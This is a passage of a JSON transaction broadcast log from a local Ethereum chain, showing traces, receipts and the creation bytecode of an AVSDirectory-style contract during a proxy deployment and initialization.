1aad88f6f4ce6ab8827279cfffb92266","output":"0x","gas_used":4364,"gas_limit":14198,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Stop","out":"0x","nonce":32,"gas_used":25796},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x64c4","logs":[{"address":"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"}],"logsBloom":"0x00000000100000000000000000000000000000000040000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000100000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x7dedc3150469bcc1905b29cb091ca369d550d97c37a081b673c10849a80cde6f","block_number":22},{"info":{"transaction_hash":"0xfd0cd693bcd0f6192a593b8edcbcfd149e34e760aca4b512b7292d66dff4c2f8","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c90000000000000000000000000dcd1bf9a1b36ce34237eeafef220932846bcd8200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084cf756fdf000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":141217,"gas_limit":204005,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef2860000000000000000000000000dcd1bf9a1b36ce34237eeafef220932846bcd8200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084cf756fdf000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":134859,"gas_limit":194607,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000000dcd1bf9a1b36ce34237eeafef220932846bcd82"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","address":"0x0dcd1bf9a1b36ce34237eeafef220932846bcd82","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xcf756fdf000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":121894,"gas_limit":179021,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3},{"Log":4}]}],"exit":"Stop","out":"0x","nonce":20,"gas_used":164693},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x28355","logs":[{"address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000000dcd1bf9a1b36ce34237eeafef220932846bcd82"],"data":"0x"},{"address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},{"address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},{"address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","topics":["0x4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"},{"address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000000000000000040000000400000000000000000800000000000000000000000000000000000000000000000000000000000100000400000000000000000000000000000000400000002000001000000000010000000000000000000000000020000000000000100800808000004000000000000000000000000400000000100000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000008000000000000000000100020400000200000000000040000000000002028000000000000000020000000000000000000000000000000000000000001080000000100000000400000"},"block_hash":"0x78297cd2f6138e71564941168b94290e4ee87f69e753b05e66548c726549876b","block_number":13},{"info":{"transaction_hash":"0xe16e7b1d8ace4d16fde340a4bc670436d4b83ba69827593207eea6f4fc58568a","transaction_index":2,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x9a676e781a523b5d0c0e43731313a708cb607508","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9a676e781a523b5d0c0e43731313a708cb607508","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x60c060405234801561001057600080fd5b50604051611f65380380611f6583398101604081905261002f9161010e565b6001600160a01b03811660805261004461004e565b504660a05261013e565b600054610100900460ff16156100ba5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010c576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561012057600080fd5b81516001600160a01b038116811461013757600080fd5b9392505050565b60805160a051611dfb61016a6000396000610ea501526000818161032401526109810152611dfb6000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000000000000000000000000000000000000000000081565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f00000000000000000000000000000000000000000000000000000000000000001690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f00000000000000000000000000000000000000000000000000000000000000004603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985565b0361162e5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161042e565b600281600481111561164257611642611985565b0361168f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161042e565b60038160048111156116a3576116a3611985565b036116fb5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161042e565b600481600481111561170f5761170f611985565b036104405760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161042e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561179e575060009050600361184b565b8460ff16601b141580156117b657508460ff16601c14155b156117c7575060009050600461184b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561181b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166118445760006001925092505061184b565b9150600090505b94509492505050565b6000806001600160ff1b0383168161187160ff86901c601b611d84565b905061187f87828885611767565b935093505050935093915050565b6001600160a01b038116811461044057600080fd5b6000602082840312156118b457600080fd5b81356118bf8161188d565b9392505050565b6000602082840312156118d857600080fd5b5035919050565b6000806000606084860312156118f457600080fd5b83356118ff8161188d565b9250602084013561190f8161188d565b929592945050506040919091013590565b6000806040838503121561193357600080fd5b823561193e8161188d565b946020939093013593505050565b6000806040838503121561195f57600080fd5b823561196a8161188d565b9150602083013561197a8161188d565b809150509250929050565b634e487b7160e01b600052602160045260246000fd5b60208101600283106119bd57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082840312156119d557600080fd5b813560ff811681146118bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b8160208401602083013760006020928201830152835283810135908301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220626c725dc93ffa1c0bc54f081ad507d11a26614950e1667781a557683d3b300b64736f6c634300081c0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9","output":"0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b6040518